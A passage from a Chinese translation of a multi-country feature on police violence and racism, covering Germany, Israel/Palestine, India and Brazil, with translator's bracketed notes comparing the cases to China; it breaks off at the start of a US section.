来，有记录的警察羁押期间死亡事件有138起。其中最令人震惊的案件是塞拉利昂寻求庇护者 Oury Jalloh，他于2005年在监狱牢房中被活活烧死。截至目前，警方宣称火灾是 Jalloh “自己放的火”。但德国的反种族主义活动家并不相信，继续要求进行透明的调查。

最近为挑战结构性种族主义而举行的全球性抗议活动迫使德国开始解决自己家的警察暴行问题，活动家们指出，德国有色人种每天都面临着歧视和攻击。

柏林市甚至通过了一项新的反歧视法，禁止包括警察在内的当局基于肤色和其他身份歧视民众。但是，考虑到德国政府高层内一些人的态度，以及警察对示威者过度使用武力的情况增多，比如**2017**年汉堡**G20**峰会抗议活动期间，或者去年**6**月与**BLM**联合的德国示威活动中，很难相信会有根本性的改变。

在德国，就像在美国一样，治安是一个社会原则的反映，正如美国黑人作家 Joe von Hutch 认为的那样，“反移民的偏见和对种族定性的支持” 再现了现有的不平等。

对于那些继续坚持认为德国的种族主义没有美国那么严重的人，我想问：这种比较要让谁放心？去年，北莱茵-威斯特法伦州内政部长、总理默克尔的基民盟成员赫伯特·鲁尔（Herbert Reul）声称，水烟馆是黑帮犯罪的温床。这是德国右翼政治的一个流行套路，就是它可能影响了哈瑙袭击者早在2020年2月决定将这类场所作为目标。去年，欧盟委员会报告说，2017年德国有7913起仇恨犯罪案件。德国的 Schwarze Menschen 倡议（ISD）怀疑真实的数字只有更高。

德国 “需要结束其否认战略，停止对结构性种族主义的狭隘理解”，ISD的一位主要成员 Tahir Della 最近对一位采访者说。驻柏林的奥地利黑人记者凯米·法托巴在最近为德国《Vogue》开设的 ”Schwarz mit großem S” (大写的B的黑人) 专栏中对德拉的观点表示赞同。

“现在比以往任何时候都更重要的是，德国白人不要只看到美国的种族主义，而是要处理德国发生的事。这意味着自愿参与到内部化的种族主义辩论中，并与工作同事、朋友和家庭成员进行艰难的、可能不愉快的对话”。

德国的警察暴力事件普遍被报道不足，尽管最近的立法可能表明，种族貌相似乎表面上得到了政府的认可，但是，不可能就此认为德国的刑事司法系统没有偏执。德国国家的种族主义与其他欧洲国家的种族主义一起，在地中海地区也在咫尺之间运作，每年有成千上万绝望的

移民在那里淹死。

这一切并不是说德国的种族主义与美国相同，或者说它的表现方式完全相同。显然，这两个国家之间存在着差异。但是，正如阿米纳塔·杜尔所写道的：“我们不能仅仅满足于还没有被正面射杀。我们必须要求得到像真正的公民那样的尊重和待遇”。

归根结底，在种族主义问题上，我们需要超越将各国进行比较和排名的本能，而是要认识到，就德国和美国而言，它们是如何为白人至上主义的共同国际项目做出贡献的。

先开枪，再问问题：巴勒斯坦

「图」

「图」

> 维稳者承认他们害怕*BLM*的抗议浪潮 “输入” 到他们的本土

By Dalia Hatuqa

5月30日，32岁的巴勒斯坦自闭症患者 Eyad Hallaq 在前往东耶路撒冷的特殊需求学校的路上，被以色列警察开枪打死。在他死亡前的那一刻，他的照料者 Warda Abu Hadid 一再告诉警察，Hallaq 是残疾人；她还告诉警察 “我是他一起的”，但没有用。警察还是开了枪。

Hallaq 的被杀引发了整个西岸和以色列境内的大型抗议，许多巴勒斯坦人及其支持者将他的死亡与明尼阿波利斯的 **George Floyd** 的死亡放在一起审视，也将以色列和美国的警务工作放在一起讨论。

据他的照顾者和家人说，当一群以色列边防警察开始对他大喊大叫，命令他停下来时，Hallaq 感到很困惑。他没有与警察进行眼神交流或接触。他的母亲拉娜说，他属于自闭症的低能人群，与他人交流有困难。警察的喊叫声吓到了 **Hallaq**，导致他跑了起来，最后他躲在一条小巷的垃圾箱后面，他就在那里被警察枪杀。以色列边防警察 —— 一种以残暴著称的针对巴勒斯坦人的宪兵 —— 说，警察误以为 Hallaq 有枪。

阿布·哈迪德告诉警官，Hallaq 不能理解他们的呼叫。她要求警察检查 Hallaq 的证件，是他的学校给他的证件，这解释了他的残疾。但

警察还是开了几枪，其中两枪打中了 Hallaq 的胸部。据以色列人权组织 B'Tselem 称，**2018**年和**2019**年，至少有**11**名手无寸铁的巴勒斯坦人在逃跑时被以色列军队杀害。

Hallaq 被杀后，以色列政府罕见地进行了道歉。该国国防部长、分权协议下的候补总理本尼·甘茨说，将迅速对他的死因进行调查。以色列公安部长阿米尔·奥哈纳说，Hallaq 的家人 “应该得到一个拥抱”，并将对警官识别和处理残疾人的程序进行审查，但是，他继续强调，他不希望看到明尼阿波利斯的抗议活动 ”输入” 到以色列。

【注：所有国家都在谨防**BLM**的抗议热情 “输入” 他们的本国，当然不止于以色列，因为如此多的政府当局都明白本国的警察暴力就是维护他们的权力稳固的利器。中国的酷刑和暴力如此令人瞩目，虽然在中国当局没有明确禁止BLM相关的信息在中国传播，但是，最令人遗憾的是，大量的华人活动家和知识分子将聚焦点定位在跑题的角度上，错过了与全球60多个国家的联合反抗。不论您如何理解这种现象，我们不得不承认，其结果是一种自我维稳的效果。】

本雅明·内塔尼亚胡坐在候补总理甘茨附近参加每周一次的内阁会议，他在会议上宣布了对 Hallaq 之死的调查，但他在开场白中完全没有提及此事。他后来称这一事件是一场悲剧，但是，并没有道歉。

巴勒斯坦人及其支持者将 Hallaq 被杀事件与最近美国警察对黑人社区实施的暴力相提并论，同时也将以色列对巴勒斯坦人生命的结构性漠视与美国黑人的生命相提并论。巴勒斯坦解放组织(巴解组织)秘书长 萨布·埃雷卡特 (Saeb Erakat) 当时称，Hallaq 被杀是 “除非世界不再将以色列视为凌驾于法律之上的国家，否则这些罪行不会停止”。

他还提到了 “我无法呼吸”，这是2014年被纽约市警方杀害的手无寸铁的黑人男子埃里克·加纳（Eric Garner）生前说出的最后一句话。这句话现在已经成为BLM的代名词，也是弗洛伊德在明尼阿波利斯警察德里克·周文的膝盖下喘息时说出的最后一句话。

安吉拉·戴维斯（Angela Davis）等黑人反抗运动组织者，在她的《自由是一场持续的斗争》一书和其他著作中，长期以来一直在呼吁声援巴勒斯坦人。2016年，BLM正式宣布支持巴勒斯坦人；巴勒斯坦维权运动和美国的黑人反抗运动组织者虽然承认他们之间的差异，但是都指出，他们仍在继续与类似的压迫性权力结构进行斗争。

在声援黑人社区和反对警察暴力的抗议活动中，巴勒斯坦的旗帜经常被升起。同样，在西岸和以色列各地谴责 **Hallaq** 被杀的抗议活动

中，示威者举着“我无法呼吸”、“为 **Eyad** 伸张正义，为 **George** 伸张正义”、和“巴勒斯坦人的生命很重要”的标语，这与美国抗议警察暴行时使用的口号类似。他们还挂着以色列士兵用膝盖压住巴勒斯坦人脖子的照片：直接提到杀害弗洛伊德的手法。*Nakba*是阿拉伯语中“浩劫”的意思。巴勒斯坦反抗者在与香港反抗者互相鼓励

美国和以色列的警务实践不仅仅是通过这些相似的画面联系在一起的。2018年，呼吁结束以色列对巴勒斯坦领土占领的组织“犹太和平之声”（JVP）和专注于以色列-美国事务的研究团体“研究美国以色列联盟”（RAIA）都指出，美国警察与以色列同行之间举行的联合培训课程存在问题。

他们的报告揭露，在过去**20**年里，数百名美国执法人员前往以色列进行警务交流旅行。在那里，他们学习并带回了以色列对其军事占领下的数百万巴勒斯坦人所采用的种族定性、人群控制和大规模监视等镇压战术。例如，用于杀害 Garner 和 Floyd 的扼杀手段，就是以色列军队经常对巴勒斯坦人使用的手段。

当然，早在以色列存在之前，美国警察就一直在残暴对待有色人种社区，压制他们的自由，使用的是植根于维护奴隶制和保护富人私有财产的有据可查的传统做法。但现在看来，他们正在超越自己的历史，向一个对巴勒斯坦人实行残酷军事控制的国家学习。

“美国警察在民权和种族主义方面已经具有丰富的糟糕记录 —— 然后他们去了以色列，与以色列警察和维稳机构一起训练，而这些机构是记录在案的人权侵犯者！”犹太和平之声主任 Stefanie Fox 说。“我们应该投资于我们的社区，而不是将我们的警察军事化”。

就像美国的黑人社区一样，巴勒斯坦人对调查他们亲人的死亡会导致任何责任追究的结果并没有什么信心。B’Tselem 引用了对2011年4月至2020年5月期间以色列军队和警察杀害约200名巴勒斯坦人的调查，结果只有**5**名士兵被定罪，这证明正义是不可能实现的。

巴勒斯坦和以色列的维权团体长期以来一直指责以色列警察迅速地先射杀嫌疑人，然后再问问题。维稳部队也因过度使用武力而受到广泛的批评，经常让被他们射杀的人已经失血过多却不被允许就医。

这两起案件都发生在 Hallaq 身上，他的父亲称被杀的儿子“像个孩子”，并说他对周围的危险毫无概念。“他已经32岁了，但他的心智只有8、9岁的孩子那般。他从来没有认识到谁是阿拉伯人、犹太人、基督徒或穆斯林”，Khairy Hallaq 说，他补充说，**Eyad** 不是、也永远

不可能是对那些官员的安全威胁。

“Eyad 是以色列长期以来枪杀政策的受害者，在这一政策下，任何巴勒斯坦人都可以在没有任何理由的情况下被当场杀死”，与 Hallaq 的家人交谈的政治分析家 Diana Buttu 说，”无论是联合国通过人权事务高级专员办事处、人权观察组织，还是众多巴勒斯坦人权组织，都普遍谴责这种格杀勿论的政策。”

Buttu 接着说：“他的被杀也许对一些人来说是第一次突出了被卷入以色列制度的交叉火力中意味着什么，在以色列制度下，士兵们接到了格杀勿论的命令，巴勒斯坦人被自动推定为有罪，以色列人认为所有巴勒斯坦人，特别是巴勒斯坦男子，都是健全的目标。

仅在5月份，就有另外3名巴勒斯坦人被以色列军队枪杀。以色列当局说，其中两人是驾车冲撞袭击的肇事者。但至少在一起案件中，家庭成员驳斥了这些说法。迄今为止，没有对他们的死亡进行任何调查。在印度教暴徒袭击之后，维稳部队穿过德里的一个穆斯林社区。

印度教的奴仆：印度

「图」

「图」

> 本土的社群主义和全球的伊斯兰恐惧症在*9/11*后的世界里合流

By Manisha Sethi

印度穆斯林社区的警察局比学校还多，这是一个民间经常重复的抱怨，这说明穆斯林是如何认识和体验这个国家的。在独立七十多年后，这里的人们仍然更熟悉警察机器的铁腕，而不是福利和关怀的机构。

为了理解今天穆斯林与警察之间的关系，有必要回到殖民时期警察的起源。以爱尔兰警察为蓝本，英国人于1861年建立了印度警察部队，以控制和监视顽固的臣民。这些警察镇压政治抗议和发现潜在的违法者，远胜过预防和侦查犯罪。同时，在印度刑法典中，“危害国家罪”优先于侵犯人身安全和财产罪。印度的警察工作从来就不是以日常破案为主的。从一开始，警察就是一种强制力，背后有严酷的法律制度支持，他们对所有公民持怀疑态度。

无论是英国人的退出，还是宪法的启用，都没有将警察转变为 ”服务”。它继续按照 “人民应受武力统治” 的逻辑运作。暴力被正常化，甚至合法化。

虽然印度法律明确禁止将羁押期间的供词作为证据，以防止胁迫，但是，《印度证据法》第27条却有效地回避了这一规则，允许将根据供词收回的所谓有罪物品纳入证据。这实际上使羁押期间的酷刑成为了主要的调查手段。而要追究警察对这些罪行的责任几乎是不可能的。

《刑事诉讼法》第197条规定，对公务员在 “执行公务” 时犯下的谋杀或造成严重伤害等罪行进行起诉时，须经政府批准。如果警察暴力案件在提出申诉之后继续进行，则很少给予制裁。

1961年，阿拉哈巴德高等法院法官阿南德·穆拉（Anand Mulla）动情地称印度警察部队是一个 “其犯罪记录” 仍然是 ”全国任何不法团体” 无法比拟的组织。

穆拉的言论后来被最高法院删除了，但印度警方的暴行依旧在不断印证穆拉的话。

被边缘化的群体首当其冲地成为了警察无法无天的施暴对象。一项又一项的研究表明，对于宗教少数群体、阿迪瓦西人和所谓的低种姓群体来说，法律及其执法者就是恐怖的根源。

穆斯林在监狱中的比例已经非常高，他们仍然很容易受到拘押攻击，并有可能因为寻求基本人权而受到侮辱性的暴行。穆斯林在警察中的代表比例徘徊在4%以下，尽管他们占印度人口的14%。自2014年现政权首次上台以来，国家犯罪记录局甚至停止了公布这些数字的做法。

——

2013年，三个邦—— 马哈拉施特拉邦、北方邦和泰米尔纳德邦 ——的警察局长向中央政府提交了一份关于警察与少数族裔(主要是穆斯林)之间关系的报告。该报告从未被公开，但它的结论是，该社区与警察之间存在着巨大的鸿沟，前者认为后者有偏见，从而破坏了这种关系。

这些结论对于任何有心阅读几十年来为调查社区暴力原因而设立的各种委员会的报告的人来说，都不会感到惊讶，因为自独立以来，社区暴力或多或少地一直困扰着印度。这些委员会无一例外地指控警方在

处理教派冲突爆发时发挥了党派作用：无视日益加剧的紧张局势和社区口号，对印度教徒聚集武器和公开挑衅的行为视而不见，以及拒绝保护脆弱的少数民族。

“Yeh andar ki baat hai / police hamaare saath hai —— 警察和我们站在一起是个公开的秘密”—— 这是2002年印度教流氓在古吉拉特邦的穆斯林街区抢劫、强奸和焚烧时说的话。对印度警察最慈善的指责就是松懈或失职；而事实上，很难忽视他们与暴力者的犯罪共谋。

从相隔50年的两起事件中可以看出，事情的变化有多么小，印度警察的作案手法有多么的一贯。1970年，为调查马哈拉施特拉邦比万迪爆发的反穆斯林暴力事件而成立的 Madon 委员会记录到，警察的态度“鼓励了游行者的不当行为，并使他们认为警察要么无力阻止他们，要么站在他们一边”。更尖锐的是委员会的意见，即：为调查暴乱案件而成立的特别调查队与印度教团体合作，编造对穆斯林社区领导人和普通成员的犯罪阴谋指控。报告总结说，“比万迪特别调查队的工作就是对社区歧视的研究”。

去年年底，类似的事再次诡异地发生了，当时新德里开始了对歧视性的《公民身份修正法（CAA）》的抗议活动。12月15日，德里警方冲进 Jamia Millia Islamia 校园 —— 一所以穆斯林学生为主的大学 —— 殴打、残害、致残，甚至致盲学生。

随着反CAA运动的巩固，拒绝屈服于这些警察的镇压，执政的右翼人民党领导人公开煽动对抗议者的暴力，经常在公共电视上。他们的运动在2月下旬德里东北部的大屠杀中达到高潮，当时唐纳德·特朗普在正式访问印度期间正在享受国家的招待。

遭受伤害最严重的就是穆斯林社区：75%以上的被杀者都是穆斯林，被摧毁的学校和贸易机构绝大多数是穆斯林的，被夷为平地的宗教建筑完全是伊斯兰教的。然而，穆斯林提出的申诉又一次被消失了，或者被过滤了，以保护印度教领袖。

更糟糕的是，参与抗议活动的年轻穆斯林活动家和学生因涉嫌 “密谋和实施袭击” 而被捕，往往是根据严厉的 “反恐法” 进行的。受害者再次变成了肇事者，而肇事者又变成了受害者。

——

这些恶毒的恐怖指控与独立后的印度长期以来对穆斯林的陷害、不公正的逮捕和长期错误的监禁是一致的。通过对 “非法性” 和所谓的

“恐怖主义” 的完全模糊定义，《非法活动预防法》等反恐法律给了警方极大的自由度，使其可以按照教派界限进行肆无忌惮的骚扰和陷害。

- 不要错过《少说话，多办事 …… 当坏蛋手持宪法》

穆斯林、下层种姓群体和部落群体经常被根据《防止非法活动法》遭受骚扰。对他们的审判可能会导致无罪释放（反恐案件的定罪率一直微乎其微）但对某些群体继续引用所谓的恐怖主义概念，标志着他们是 “国家的敌人” 。

虽然其他群体过去也曾经遭受迫害 —— 印度在1980年代发起了一场反锡克教的大屠杀—— 但今天被指定为 “他者” 的是穆斯林，因为本土的社群主义和全球的伊斯兰恐惧症在**9/11**后的世界里合流。

过去二十多年来，在 “反恐” 战争的旗号下，所谓的 “特别行动” 呈井喷之势。印度可信的国家媒体 —— 以及公众—— 在维稳机构宣称 “抓获恐怖组织的特工和主谋“ 时，只要被捕者符合特征，就不会质疑。在这些案件中，故意被捏造出来的证据往往是显而易见的；大部分逮捕与任何实际暴力事件均无关。如同在美国一样，警察和情报官员编造狡猾的、根本没法实现的阴谋，把收缴的乌尔都语或阿拉伯语文献都宣称为 “圣战材料” 。

至于印度教恐怖主义，人们认为是不存在的。孟买的一位前警察局长在电视上被问及印度教恐怖组织的存在时，断然回答说：“[恐怖主义]在印度教神殿中是不存在的”。因此，当2006–2008年期间在穆斯林圣夜的马哈拉施特拉邦小镇 Malegaon、海德拉巴的一座清真寺和阿杰梅尔的一座苏菲派圣地发生一系列炸弹爆炸事件时，调查人员逮捕甚至逼迫穆斯林男子招供，也就不足为奇了。人们可以很好地想象，就在凶手的证据一直指向印度教团体的情况下，是什么样的 “技巧” 可以说服无辜的人自证其罪？

去年的一项调查显示，每两个警察中就有一个认为穆斯林 “天生容易” 犯罪。这种态度并不限于下层的人。当面对监狱中关押的穆斯林人数过多时，退休的 DGP Prakash Singh 是这样说的：“在恐怖袭击或社区骚乱的情况下, 如果警察要追捕暴力事件的肇事者, 而他们恰好大部分是穆斯林, 你不能以世俗主义的名义期待警察按人口比例行事”。

Prakash Singh 不是普通的警察，事实上，他被视为 “警务改革” 的火炬手。但是，请注意，他的 “改革” 理念是将警察从政治控制的束缚中解放出来，而不是让这个组织更加负责任。Singh 和其他一些人多

次嘲笑人权问题，把国家人权委员会和最高法院要求对警察开枪造成的死亡事件进行调查的做法斥为 ”极端” 。他声称这些正在对警察产生 “寒蝉效应” ，警察现在显然害怕因使用武力而受到 “指责” 。这些准则只有在被违反时才会被提及一下，这几乎不是什么秘密。

一些警官狡辩说，在恐怖主义和极端主义案件中，遭遇杀戮—— 实际上是上演的法外谋杀—— 是 “合理的” ，因此不应受到司法审查。Singh 甚至赞扬北方邦政府的政策，即 在没有逮捕或审判的情况下消灭嫌疑人和被指控的罪犯，意思是为警察去政治化运动而奋斗的 Singh 应该模仿UP首席部长尤吉·阿迪亚蒂亚纳特（Yogi Adityanath）的言辞，后者有效地将国家变成了有毒的印度教徒实验室。

通过归咎于死者的罪过，通过指责他们的宗教和种姓归属，像 Singh 这样的警察正在将某些社会群体与犯罪行为联系起来。这就是我们如何区分真正的遭遇和虚假的遭遇。

痛苦的事实是，我们机构中脆弱的法治根基同样与民众对治安主义和简陋司法的强烈认可相匹配。纳伦德拉·莫迪在担任古吉拉特邦首席部长时，经常会在集会上向群众发问，“恐怖分子” 的命运应该如何？群众会欢呼雀跃地回喊：“杀了他们！杀了他们！” 而且不仅是所谓的恐怖主义，任何引起广泛道德反感的行为都会导致人们提出血腥的要求—— 甚至常常在电视黄金时段播出。

比如去年，海德拉巴一名年轻兽医被残忍奸杀的事件就引发了公众的愤怒。在案发后的几天里，一名国会议员要求将强奸犯当众处以私刑；与此同时，社交媒体以及普通媒体上公开表达了族群仇恨，因为有消息称其中一名被告是穆斯林。

被告人被迅速逮捕，但是，警方没有通过任何司法程序，而是在逮捕后几天就将他们枪杀了。然后，警方又搬出了一个老调重弹的故事，说被告在被带到犯罪现场时，“夺取了警察的武器企图逃跑”。大量的名人和政客 —— 远远超出了BJP —— 在推特上对警方的法外杀戮行动表示赞赏；普通人则燃放鞭炮，分发糖果。这并不是说他们被警方诡辩的故事说服了。而是他们在庆祝赤裸裸的公然谋杀。

在我们这样一个等级森严、四分五裂的社会里，一些边缘群体的被病态化和他者化，让他们更容易被消耗。一个由严刑峻法和有罪不罚文化支持的强制性警察国家机制，滋养和充实了社会的偏执，产生了可监禁、可迫害、可私刑的穆斯林身体。镇压部队占领了里约热内卢的 *Complexo do Alemãofavela*，这里是一片贫民窟

内部敌人：巴西

「图」

「图」

“长官，你为什么要向我开枪？”

By Nara Roberta Silva

4岁的 João Pedro 在室内与表兄弟玩耍时被枪杀。但他的尸体，神秘地从房子里被移走了，直到第二天才被家人找到。

卡洛斯、克莱顿、威尔顿和韦斯利在与罗伯托外出过夜后开车回家，罗伯托正在庆祝他的新工作的第一份薪水，然后就是，他们的车被枪击**111**次，**5**个年轻人死亡。

10岁的爱德华多在家门口玩手机时被枪杀；他的母亲与枪手对峙，据称枪手回答说：“我就是杀了你的儿子怎么了，我也可以轻易地杀了你”。

38岁的母亲克劳迪娅被枪杀，尸体从汽车后备箱中掉出后，在路上被拖行了近四分之一英里。

17岁的道格拉斯在去参加风筝锦标赛的路上，胸部中弹，目击者说他最后说的一句话是：“长官，你为什么要向我开枪？”……

上述这些故事有什么共同点？共同点就是：在每一个案件中，凶手都是巴西警察。

虽然用枪支和其他武器杀人在这个国家几乎可以说很常见，但执法部门却必须为这些死亡事件中的惊人数量负责—— 几十年来一直如此。

巴西的警察部队在全世界最致命的行为排行榜中持有绝对的 “殊荣”。**2018**年，巴西警察杀死了五千七百多人；而**2019**年是平民被凶杀案达到十多年来最低点的一年，而那一年内死于警察之手的人数却上升到五千八百人—— 甚至连冠状病毒都没有阻挡住这个趋势。

根据公共安全研究所的统计，去年四月里约热内卢州的警察杀人事件—— 当疫情真正在巴西爆发的时候 —— 比去年同月甚至高出了43%。这些统计数字清楚地表明了大家已经知道的事实：警察暴力在

巴西是普遍存在的，特别是在该国的首府。(令人沮丧的是，并没有人能找出警察杀人案的精确数字；统计处理方法因地区而异；当然，许多杀人案从未被报告过)。

为什么巴西的警察杀戮如此之多？部分原因是军事化的遗产。

巴西从葡萄牙独立出来的斗争是由军队领导的；此后，巴西经历了几个独裁者的统治。1969年，在长达21年的独裁统治最严酷的一幕中，军方夺取了所有执法机构，以协调镇压政治异议。有了这一点，军方可以更有效地应对干扰，尽情地折磨公民和侵犯人权，并运行一个秘密监视机构来抓捕所谓的“煽动者”。从独裁统治中产生的警察系统继承了这种惩罚性的维稳观。

实际上，巴西今天有两个主要的警察队伍 —— 军警和民警。前者负责街头巡逻和所谓的“预防犯罪“，后者则负责调查刑事犯罪。这种“分工”制度，使军警可以采取暴力行动而不受惩罚，因为他们不负责调查他们自己的行为。

巴西在20世纪80年代中后期恢复民主后，颁布了一部明显进步的宪法。但是，该宪法却没有拆除军方建立的治安结构。这是因为向“民主”的过渡是由国家精英和军事当局之间的谈判形成的 —— 无论民众对政权的抵抗和示威有多大影响。并没有与专制的过去彻底决裂。

今天，军警在形式上被认为是一支后备军。军官们被训练成士兵，而不是执行和遵守法律的个人。由于他们被标榜为“保护国家对抗危险的敌人”—— 请注意，并不是保护平民—— 他们的残酷战术，无论多么丑陋，都被认为是必要的。

和陆军士兵一样，军警也是在僵化的等级制度下接受教育的，他们最终要听命于上级（和军规），而不是他们要服务的公众。这种做法显然不利于缓和局势。

评估、对话和自主决策—— 以社区为导向的警察工作的基础 —— 在你把街道当作战区的时候，都变得几乎不可能。取而代之的是，警察的骚扰、武力和羞辱，成为了每一天的“秩序”。

这不是一个巧合，在巴西的抗议活动经常会遇到暴力镇压，示威者不得不面 对橡皮子弹、催泪瓦斯和各种伤害。正如上述故事所言，开枪杀人，是一种类似于座右铭的东西。

独裁政权继承的双管齐下模式，也是一场管理灾难。两股势力之间几

乎不共享信息，使得侦查和起诉的过程极其无效。

以圣保罗州为例，2018年发生的犯罪案件只有4%被破获。鉴于公共监督受到限制，自由裁量的决定、贿赂和普遍的腐败猖獗。更严重的是，这种模式还助长了强行拦路搜查行为和重罪逮捕。

【注：强行拦路搜查在美国被称为 stop-and-frisk，它不只是中国社会熟悉的拦路查手机，还包括临时拘留。】

由于军警不需要对违法行为进行跟踪 —— 那是民警的工作，所以军警在巡逻时可以随意拘留任何一个人，因为他们知道提供证据的责任、甚至是处理调查的责任，都落在了别人身上。就好像他们可以随意打压公民一样。

在一个很少对犯罪进行调查的国家，警察的不当行为几乎完全不受惩罚。

首先，军警在执行任务时犯下的罪行由内部的军事法庭而不是刑事法庭来审判，杀人案除外。但即使是杀人，也有专门的立法机制来保护巴西的警察。“Auto de resistência”（致命抵抗）是警官对自己的杀人行为的正式分类，这些杀人案均以“自卫”为由合法化。

在这种情况下，谋杀案被登记在民警记录的行政报告中。这些报告被送交检察院，检察院可提出刑事诉讼或决定搁置该案。违法的警察几乎总是逍遥法外，因为警察杀人案很少被审判。对被归类为“致命抵抗”的案件的分析表明，警察在面对自首、受伤或逃跑的个人时、在明确知道危及生命的情况下使用了致命的武力。

——

在独裁统治下，左翼进步派和其他政治“颠覆者”是国家暴力的主要目标。但在1990年代新自由主义到达巴西后，必须“创造”新的敌人。

大约在这个时候，统治阶级把注意力转向社会边缘的人：主要是贫民窟的穷人和服务不足的边缘化社区的居民，他们绝大多数是黑人和棕色人种（即混血儿）。

【注：“低端人口”这个词您一定不陌生……】

今年5月初，周四，100多名全副武装的巴西警察冲进里约热内卢的一个庞大的贫民窟，杀死了至少二十多人，这次突袭被人权活动家、研

究人员和记者称为该市历史上最致命的此类警察暴行。

这次长达数小时的行动，声称是针对贫困的雅卡雷济纽贫民区的“毒贩”，最终造成25人死亡，包括一名警察。恐怖的录像和图片在突击行动后被发布到社交媒体上—— 尽管法院下令禁止在Covid-19大流行期间进行此类入侵—— 显示贫民窟居民正在勘察布满血迹的房间、走廊和巷子。

里约的公共安全和公民权研究中心的研究员佩德罗·保罗·桑托斯·席尔瓦（Pedro Paulo Santos Silva）告诉《卫报》：“这是灭绝性的——没有其他方式能够描述它了”。“这是一场大屠杀”。

(警告：以下镜头令人不安)

设在里约的智囊团 Igarapé 研究所的联合创始人罗伯特·穆加在接受《华盛顿邮报》采访时说：“这是巴西真正严峻的时刻”，“这类枪击事件在里约热内卢显然是例行公事，但这是史无前例的，因为这是一次产生了最多死亡人数的暴行。”

在雅卡雷济纽长大的巴西立法者大卫·米兰达（David Miranda）描述这次致命的警察突袭是“一场悲剧，一场由里约州长克劳迪奥-卡斯特罗（Cláudio Castro）授权的屠杀”。

米兰达说：“我生于雅卡雷济纽，是这个贫民窟创造了我。没有任何出生在贫民窟之外的人能够知道那意味着什么。巴西的机构坚持不尊重贫民窟并将其边缘化。”

米兰达的丈夫、流亡记者格伦·格林沃尔德（Glenn Greenwald）在推特上写道，他“大概看过二十几段视频，这些视频太可怕了，无法公布：警察以疯狂的暴力闯入住宅，然后在人们躺在地上时开枪处决他们，向他们的头部各开了10–15枪。”

“今天发生的这一切是绝对的暴行”，格林沃尔德补充说。

巴西是世界上警察杀人率最高的国家之一，该国目前由一位极右翼总统领导，他在竞选时承诺“给警察杀人的全权”。根据人权观察的数据，在2021年的前三个月，里约的执法人员就已经杀害了453人。

“他们说在巴西没有死刑。除非你住在贫民区”，密歇根大学韦泽新兴民主国家研究中心的拉丁美洲历史学家和博士后研究员玛丽亚·科雷亚说：“在这种情况下，警察可以直接进入，杀死几十个人，然后收工。这是令人震惊的，令人反感的，令人愤慨的。人们没有权利。”

国际特赦组织巴西分会执行主任朱雷马·维尔内克（Jurema Werneck）在周四的一份声明中说，“不仅是警察暴行必需被谴责，并且尤其值得谴责的是，这次屠杀又一次发生在贫民窟。”

维尔内克说：“镇压部队不断犯下严重的侵犯人权行为，如今天在雅卡雷西纽发生的针对贫民区居民的暴行，这是完全不可接受的，因为这些居民大多是黑人，生活在贫困之中。即使受害者被怀疑为犯罪，也没有得到任何证实，这种法外处决是完全没有道理的”。

自1980年代以来，这些社区受到国家撤资的破坏，在巴西和其他拉丁美洲国家被称为“失去的十年”，一个非法活动网络，主要是贩毒，在社会真空中蓬勃发展。新自由主义政策意味着社区投资是不可能的。相反，保守派官员和主流媒体勾结起来，在穷人中鼓动对“犯罪危机”的恐惧，这反过来又为警察的粗暴甚至惩罚性暴行开了绿灯。这是一个美国读者耳熟能详的恶性循环。

自20世纪90年代以来，国家在执法方面的支出一直在增加；毫不奇怪，这种投资对降低该国的凶杀案和其他犯罪率并没有什么作用。即使在工人党长期执政期间，这种模式也没有动摇。卢拉和罗塞夫的政府扩大了针对弱势群体的社会计划，还推动了各州不平等地采用的适度的警察改革（例如，提出警察的职业发展和教育机会）。然而，他们并没有成功地改变巴西仍然存在的维稳模式，因为这需要从持续的执法支出中转变过来，并对当前的警务模式进行彻底的反思。

最终，穷人被非人化，以维护上流富人和中产阶级所追求的虚假安全感。

富裕阶层在为警察在贫困社区的好战行动欢呼的同时，却对警察的腐败和侵犯人权行为视而不见。尽管警察的杀人率令人震惊，但这些有钱人却要求更多的警察和更严厉的警察。

这种最不可能遭受惩罚的人对惩罚行动的渴求，部分解释了金戈铁马的右翼政客的受欢迎程度，其中包括贾伊尔·博尔索纳罗，他公开宣称军事独裁政权应该枪毙3万名反对者。

【注：在中国我们听到过一个词叫“活埋”，异议人士大概都知道这是什么意思。博尔索纳罗说的是同一个意思。】

还必须在巴西充满种族历史的背景下理解将贫穷定为犯罪的问题。

巴西是美洲最后一个废除奴隶制的国家；从那时起，巴西一直未能为

其黑人和棕色人种提供一条通往繁荣的道路。今天，黑人和棕色人种占巴西最贫穷、失业和就业最不足人口的大多数。

与白人相比，他们的工资也更低—— 尽管近年来平权行动政策适度地扩大了他们接受教育的机会。但是这些平权行动的必要性也揭示了该国的代表性问题。在十九世纪末二十世纪初，知识分子认为，巴西只有摆脱黑人的过去，才能成为一个现代国家。跨种族混血儿和欧洲人 —— 一个 “优越” 的种族—— 的移民被提倡，试图使人口变得更白。同时，黑人和棕色人种被贴上标签 ”懒惰” 、“不良少年” 、”罪犯”、和不值得尊重的人；这些观念在大众语话中广泛传播。

皮肤黑等同于自卑的这种涵义，在巴西的普通文化表现形式中仍然根深蒂固—— 从书籍和肥皂剧到谚语和图像，即使该国从1930年代就开始开始贩售 “种族民主” 和 “种族和谐” 的可疑意识形态。

年轻的黑人和棕色男子尤其受到种族貌相和警察干预的影响。根据参议院特别委员会2016年的一份报告，15岁至29岁的黑人和棕色男子以令人不安的速度被杀害：每二十三分钟就有一人死亡，许多人死于警察之手。反过来，是女性承担着证明因警察暴力而失去的亲人的无辜的责任。她们必须展示自己的苦难，试图拯救男人的价值，要求正义：将死者呈现为勤劳的父亲、心爱的儿子、敬业的丈夫、聪明的学生。事实上，巴西最突出的反对警察暴力的运动之一就是由母亲组成的：葡萄牙语中的 “五月母亲” (Mães de Maio)。

近年来，进步派知识分子、活动家、和当地社区进一步呼吁关注困扰巴西警务工作的结构性种族主义。巴西版的 **“BLM” (vidas negras importam)** 和 **“停止杀戮我们” (parem de nos matar)** 的呼声在街头抗议和社交媒体上越来越强烈，这是对该国种族历史进行更广泛反思的一部分。

如果我们要微调左翼长期以来对警察去军事化的要求，这种讨论是必要的。反种族主义活动甚至可能导致更激进的政治框架，比如废除警察。因为事实是，独裁政权的警务安排并非历史的偶然。巴西的警察部队服务于维护持久的种族和经济不平等，他们在容忍针对有色人种的制度性暴力和恐怖的文化中茁壮成长。巴西警察暴力的结束不能无视该机构的种族主义做法和动机。否则，巴西黑人和棕色人种的死亡名单和悲惨命运将不断增加。美国的ICE特工

看不见的边界：美国

「图」

「图」

即使是与警察最平淡的互动，也不仅会导致被驱逐出境，还会导致死亡

By Gaby Del Valle

